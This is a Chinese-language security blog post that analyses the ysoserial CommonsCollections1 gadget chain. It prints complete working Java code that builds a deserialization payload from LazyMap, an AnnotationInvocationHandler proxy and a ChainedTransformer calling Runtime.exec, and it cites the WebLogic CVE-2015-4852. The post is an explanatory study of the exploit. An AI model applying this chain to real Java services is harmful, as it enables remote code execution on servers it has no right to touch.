ysoserial CommonsColletions1分析
JAVA安全审计 ysoserial CommonsColletions1分析
前言:
在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链,而是用了LazyMap的get方法
CommonsCollections1
调用链:
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
调用链入口
这条链的入口还是AnnotationInvocationHandler的readObject。

LazyMap
我们需要寻找在LazyMap中能执行ChainedTransformer#transform方法。
LazyMap执行transform方法的地方在其get方法中。
当执行get()方法时,如果键值不存在,将使用工厂factory.transform创建一个值

这里factory变量是从decorate方法中传入

所以构造payload
//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain);
此时我们要找的就是哪里能调用到LazyMap#get方法了
在AnnotationInvocationHandler的invoke方法中,this.memberValues.get调用到了get

this.memberValues是通过AnnotationInvocationHandler构造方法传入

所以通过AnnotationInvocationHandler的invoke方法可以调用到LazyMap#get方法,可是想想怎么调用到invoke呢。
我们来仔细看看AnnotationInvocationHandler类

这个类其实就是一个InvocationHandler,想想JDK动态代理
Person proxyStudent = (Person) Proxy.newProxyInstance(Student.class.getClassLoader(), Student.class.getInterfaces(), proxyHandler);
第一个参数是:被代理对象的ClassLoader。第二个是被代理对象的接口。第三个是创建的InvocationHandler对象
LazyMap传入AnnotationInvocationHandler,再生成AnnotationInvocationHandler的proxy对象。此时proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法。
上面几句话可能有点绕,可以先复习下之前所说过的动态代理的知识再回来看:https://www.cnblogs.com/yyhuni/p/14934747.html
根据上面构造payload:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//向上转型成InvocationHandler才可以在下一步传入Proxy.newProxyInstance
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
两个注意点:
1.AnnotationInvocationHandler构造方法是包权限,不能直接new,要用反射来创建
2.创建的AnnotationInvocationHandler对象要向上转型成InvocationHandler,才可以在下一步传入Proxy.newProxyInstance
3.生成的proxy对象要转型成Map
关于第三点,其实是为了在下一步构造的时候进行参数传递的匹配,往下看就知道原因了
有了proxy对象了,最后一步就是怎么调用到proxy对象的方法。
在调用链的入口处AnnotationInvocationHandler#readObject

这里调用了this.memberValues的方法,而this.memberValues是通过构造函数传入进来的,所以我们可以把proxy传入AnnotationInvocationHandler,这时候触发了readObject就会触发到proxy的方法了。很巧妙的构造
Object Annotation = constructor.newInstance(Override.class, proxyAnno);
最终payload:
//构造反射链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//构造InvocationHandler传入lazymap
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap);
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
//创建AnnotationInvocationHandler对象,传入proxyAnno
Object Annotation = constructor.newInstance(Override.class, proxyAnno);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(Annotation);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
简单画了下利用链的流程图

相关漏洞:
WebLogic反序列化漏洞:CVE-2015-4852
欢迎关注我的公众号,同步更新喔

ysoserial CommonsColletions1分析的更多相关文章
- ysoserial CommonsColletions4分析
ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...
- ysoserial CommonsColletions2分析
ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...
- ysoserial CommonsCollections2 分析
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化. 已知的TemplatesImpl->newTransformer()是最终 ...
- ysoserial CommonsColletions7分析
CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...
- ysoserial CommonsColletions3分析(2)
上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...
- ysoserial CommonsColletions3分析(1)
CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...
- ysoserial CommonsColletions6分析
CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...
- ysoserial CommonsColletions5分析
我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...
- ysoserial commonscollections6 分析
利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...
随机推荐
- OpenCV 之 特征匹配
OpenCV 中有两种特征匹配方法:暴力匹配 (Brute force matching) 和 最近邻匹配 (Nearest Neighbors matching) 它们都继承自 Descriptor ...
- 线程强制执行_join
线程强制执行_join Join合并线程,待此线程执行完成后,再执行其他线程,其他线程阻塞 可以想象为插队 测试案例: package multithreading; // 测试Join方法 // 想 ...
- A*算法寻路(C++代码实现)
A*(A-Star)算法是一种静态路网中求解最短路径最有效的直接搜索方法,也是解决许多搜索问题的有效算法.算法中的距离估算值与实际值越接近,最终搜索速度越快.--来自百度百科. 我在网上看了不少关于A ...
- 实战爬取Plati官网游戏实时最低价格-Python
需要修改url中的id_r="这个",这个id需要从Battlefield V (plati.ru)中获取,其实也是这个链接中的#s24235. 配合了e-mail推送,其实这个e ...
- docker-01
Docker介绍 1 什么是容器? Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源 Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级.可移 ...
- 结合场景使用Redis缓存与数据库同步
Redis缓存与MySQL数据库与同步 什么场景用到了Redis缓存? 1.广告数据 2.搜索时,分类品牌名称,分类名称和规格数据 3.购物车 4.支付 问题:如何实现? 1.广告数据 先查询Redi ...
- 加载GIF图片优化方案
前言 许多项目需要加载GIF图片,但是在直接使用UIImageView加载存在许多问题,于是查找资料做了一个加载GIF的Demo,思路来源. 思路 使用FLAnimatedImage来加载GIF图片, ...
- Linux系统启动初始化
文章目录 一.BIOS 加载启动引导程序 二.MBR 主引导扇区 三.GRUB引导内核 3.1运行 boot.img 3.2加载 core.img 3.3切换到保护模式 3.4kernel.img 引 ...
- vlc播放器设置开机自动全屏播放网络视频流
因工作需要,要用vlc视频播放器实现开机自动全屏播放某个网络视频流.百度了下,说的都很模糊,经过整理,设置方法如下: 一,添加视频流地址:rtsp://wowzaec2demo.streamlock. ...
- 【springcloud】Eureka 常用配置解析
转自:https://www.cnblogs.com/zyon/p/11023750.html 1. 配置项解析 1.1 通用配置 # 应用名称,将会显示在Eureka界面的应用名称列 spring. ...